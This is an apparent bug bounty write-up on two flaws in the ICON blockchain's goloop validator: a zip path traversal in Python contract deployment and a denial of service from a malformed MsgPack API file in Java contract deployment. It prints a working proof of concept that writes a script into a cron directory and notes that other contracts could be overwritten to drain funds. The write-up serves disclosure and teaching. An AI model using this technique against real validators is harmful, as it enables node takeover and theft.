How We Found a 25K$ Bug in a Blockchain Project by Mistake | Bounty Hunting Journey

tl;dr we found an RCE vulnerability on Icon that was out of scope of the bug bounty program, and then stumbled upon a DoS attack that could be exploited to prevent the blockchain from processing transactions and creating new blocks, for which we were rewarded a $25K bounty.

According to our vision at dWallet Labs about blockchain security, a blockchain network needs to be secure in all of its layers and aspects. While many efforts are invested in the security of smart contracts, in this research we chose to focus on another area that is less spoken — the security of the native code of the blockchain network. During our research we found some interesting finding that can be a good example of how a small coding mistake can be critical and very harmful when it happens in the core native code of a blockchain network.

We are looking for a blockchain network that isn’t one of the Top-10 Blockchain projects, but has a market cap of hundreds of millions of dollars. Filtering the list of bounties in Imunnifi platform, we chose the ICON project (about 250M$ market cap).

ICON network (https://icon.community/) is a blockchain project and cryptocurrency that aims to connect various blockchain networks, allowing them to interact with one another through a decentralized network called the ICON Republic. The ICON blockchain, also known as the ICON Network, was developed by the ICON Foundation, a South Korean blockchain technology company.

Our first step was to deploy a local testnet using the official docker from the ICON website. The docker runs the validator code from a github repository called “goloop”. We initiated our local network by following this manual. For our tests, we created wallets using the genesis file.

Having run the docker locally, we cloned the code from github, opened it with GoLand, and set up the remote debug connection to the local ICON docker. It allowed us to follow the transaction parsing process step by step and stop it using breakpoints whenever we wanted (see this guide for more information).

The code of blockchain networks can be quite complex, with numerous attack surfaces. We decided to narrow our focus to the process of handling new transactions, which involves complex parsing logic. We chose this area because it deals directly with user input and can be activated through both the RPC interface and the P2P interface. Furthermore, we presumed that successfully exploiting a validator through this process would allow us to automatically exploit all validators via the gossip protocol.

Upon delving into the flow of processing new transactions, we chose to focus on a particular transaction type: the deployment of a new smart contract.

The ICON network supports 2 types of Smart Contracts (called “SCORE” in the ICON ecosystem — “Smart Contract on Reliable Environment”) — Java based and Python based. We started with the flow of deploying a Python SCORE.

When the user sends a transaction for deploying a new python contract, the Python contract is packed in a zip file.

Once the validator has completed a few checks (signature verification, gas, etc.), it stores the contract locally. The storing is done by the function “storePython” from the file “goloop\service\contract\contractmanager.go” (see the code below).

The function extracts the zip file to a temporary folder on the local file file-system of the validator. The function removes the shared prefix from the path of all the files but keeps the parts of the path that are not shared.

For example, If the zip file contains the following files:

hello_world/package.jsonhello_world/internal/init.py

So the function will remove the “hello_world” prefix but will keep the “internal” prefix in the second file. Then the function will join the “non-shared” path parts to the “tmpPath” (which is a temporary folder created for this SCORE ), create all the folders in the tree, and then create the file in the folder and write its content to it.

Let’s see this flow in the code:

First of all, the function will create the temporary folder for the contractThe function taking the full path of the “package.json” file and extract from it the package name (AKA, the share-part of the path, “hello_world” in our example)

Now, the function will go over all the files in the zip, and will check(line 398) if the file path is starting with the package name that we extracted from the path of the “package.json” file.(“pkgBase” which is “hello_world” in our example.)

If the path starts with the package name, the function will remove this part from the path(line 401).

The interesting part happend at line 420 — after performing some checks, the function will concat the path from the file name in the zip to the temp folder path. So if the path in the zip file is “hello_world/internal/init.py”, after the removal of the prefix and the concating, the file that will be created will be “tempDir/internal/init.py”.

What makes it interesting? The function does not verify that the “non-shared” path prefix does not contain “../”. Therefore, if this path is concatenated with tmpPath, the attacker is able to change the location of the written file at his discretion.

Additionally, the file will be created with 755 permissions, which means it will be able to execute.

So we have an option to write a file whenever we want, with whatever content we wish, that has execution permissions. There are many possible ways to exploit it to RCE, but we focused on searching in the ICON official docker image. A quick search and we found that docker is configured to periodically run (using cronjob) all the files in the “/etc/periodic/15min/” directory.

So for example, the attacker can set the path in the zip file to:

hello_world/../../../../../../etc/periodic/15min/evil

And the file content to

#!/bin/sh

echo pwnd> /pwnd

#other evil stuff

By doing this, an evil file will be created in the validator docker at path “/etc/periodic/15min/evil”. Within 15 minutes, the bash script will run and we’ll get a RCE.

It is also important to notice that the function will overwrite the file if it already exists. It means that another option to exploit the vulnerability can be to override other contracts code and then call them and withdraw all the funds.

The evil zip file creation is done using this steps:

creating regular zip file using “zip -r” commandedit the zip file in the text editor and change the file name to the “traversed-path” file name (see example image).sending the evil zip as transaction with contract deploy method:

./goloop/bin/goloop rpc sendtx deploy /mnt/c/repos/exploit_python_contract/hello.tar — uri http://localhost:9080/api/v3/icon — key_store wallet.json — key_password gochain — nid 0x9383b0 — step_limit 10000000000 — content_type application/zip — param name=Alice

We did not test the exploit on the public testnet since we wanted to avoid malicious actors exploiting it, and because once the exploit is on the blockchain, anyone can watch it. As an alternative, we tested and successfully exploited it on our local testnet we created, which ran the latest version of the code (v1.3.3–1-g733a19d9).

The full PoC is very simple:

mkdir hello_world

echo “aaa” >> hello_world/package.json

echo “aaa” >> hello_world/__init__.py

echo “aaa” >> hello_world/hello_world.py

echo “#!/bin/sh” >> hello_world/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

echo “echo pwnd> /pwnd” >> hello_world/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

zip -r hello.tar hello_world/

sed -i ‘$ s/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/etc\/periodic\/15min\/evin/’ hello.tar

./goloop/bin/goloop rpc sendtx deploy hello.tar — uri http://localhost:9080/api/v3/icon — key_store wallet.json — key_password gochain — nid 0x9383b0 — step_limit 10000000000 — content_type application/zip — param name=Alice — debug

The zip file content before the path changingThe zip file content after the path changing

So we found a potential RCE in a blockchain network. This can be a disaster for the network, since we potentially can take control over all the validators, which means that we will have full control over the blockchain. We opened a new report in the Immunefi reporting system, under the Bug Bounty Program of ICON network, and after some hours of nerve wracking waiting, we got an annoying response:

It basically said that even though the exploit worked on a local testnet, it would not work on the mainnet, and that’s why it was out of scope.

So our first report was rejected, but we learned a lot about the ICON network and the code structure. Since the rejection said that Python contracts are Out-Of-Scope, our next step was to focus on the deployment process of the Java SCOREs.

After creating a new Java SCORE and compiling the code to Java bytecode, the user should run the “jar-optimizer”, which is a tool provided by ICON Foundenton.

The “optimizer” performs the following tasks:

Validating that the Java code used just allowed java classes (to prevent usage of malicious classes like file or process operations). These security checks are performed also on the validator, so bypassing this check on the client side will not make any effect.Optimizing the java byte-code to reduce the size of the fileGenerating an API file that describes the exported function of the SCORE, their parameters, and the types of the function and the parameters.

We performed many tests to try to bypass the class name filtering, but none of them succeeded. So we tried something else. Instead of creating an object of non-whitelisted class (like ProcessBuilder class, which can be used to start a new process) we will try to pass this object as a parameter to one of the functions that the contract exported.

But the problem is that there is a verification for the types of the parameters that the exploited function can get. We tried to bypass this verification by creating a legitimate function that gets valid parameters, and after running the “jar-optimizer”, to manually change the type of the objects in the bytecode.

We also needed to change the signature of the functions in the API file, since this file is used when the Java VM that used by ICON calls to function in contracts.

This API file is encoded using MessagePack encoding, which is an efficient binary serialization format. So to change it, we looked for a nice and easy MsgPack editor. We found one that looks good and we made the changes that we wanted, saved the file and repacked the JAR file.

Example of API file encoded in MsgPack

After sending the transaction to deploy this contract, we received a transaction ID. We checked the status of the transaction (using icx_getTransactionResult) and saw that the transaction is “Executing”. We waited a few moments and checked again, and it still was “Executing”. So we tried to send another transaction and check its status, but we got a “Pending” as a response. At this moment we understood that the there is something interesting here.

Checking the status of the transactionAfter a while, the transaction is still processingPending responses are returned by another transaction, which is very unusual

We went to the ICON docker and saw that there is exception:

It seems that the MsgPack editor corrupted the API file when we used it. The question is, why is this exception not handled properly?

The answer to this question lies in the code of parsing the API file. Let’s review the function “Validate” that validates the API file:

We can see that the function is using another Function called MethodUnpacker.readFrom and handling a possible IOException. The function MethodUnpacker.readFrom calls to a function from the JAVA MsgPack lib, named unpackArrayHeader:

The unpackArrayHeader function, according to the definition, also throws an IOException. But, if we take a closer we will see that this function also can throw another type of exception, by calling the unexpected function:

This function actually returns an object of type MessagePackException which extends RuntimeException and not IOException:

The “Unexpected” functionThe definition of the type MessagePackException

Due to the mistakenly corrupted API file, an unhandled exception occurred. Somehow, this creates an infinite loop in the validator’s code, preventing it from processing other transactions and generating new blocks. Moreover, the validator gossiped this transaction to all the other validators, which resulted in the whole network stopping from processing new transactions.

We created another report on Immunefi dashboard. This one was shorter, but included the most important part — a working POC. Once we convinced the ICON team that this PoC was in fact a DOS attack, we negotiated the severity of these issues. In spite of the fact that we believed this issue could be classified as Critical (“Network not able to confirm new transactions”), we agreed to change the severity to High (categorized as “Disability to make a new block (no consensus working)”). And finally, we got paid for our bounty!

Blockchain networks consist of extensive codebases that perform complex logic, harboring numerous potential issues. For bounty hunters, this domain is very attractive, and from my perspective, much more interesting than smart contracts. A functional debug environment streamlines and accelerates bug hunting significantly. Additionally, luck plays a crucial role as an essential tool in every bounty hunter’s arsenal.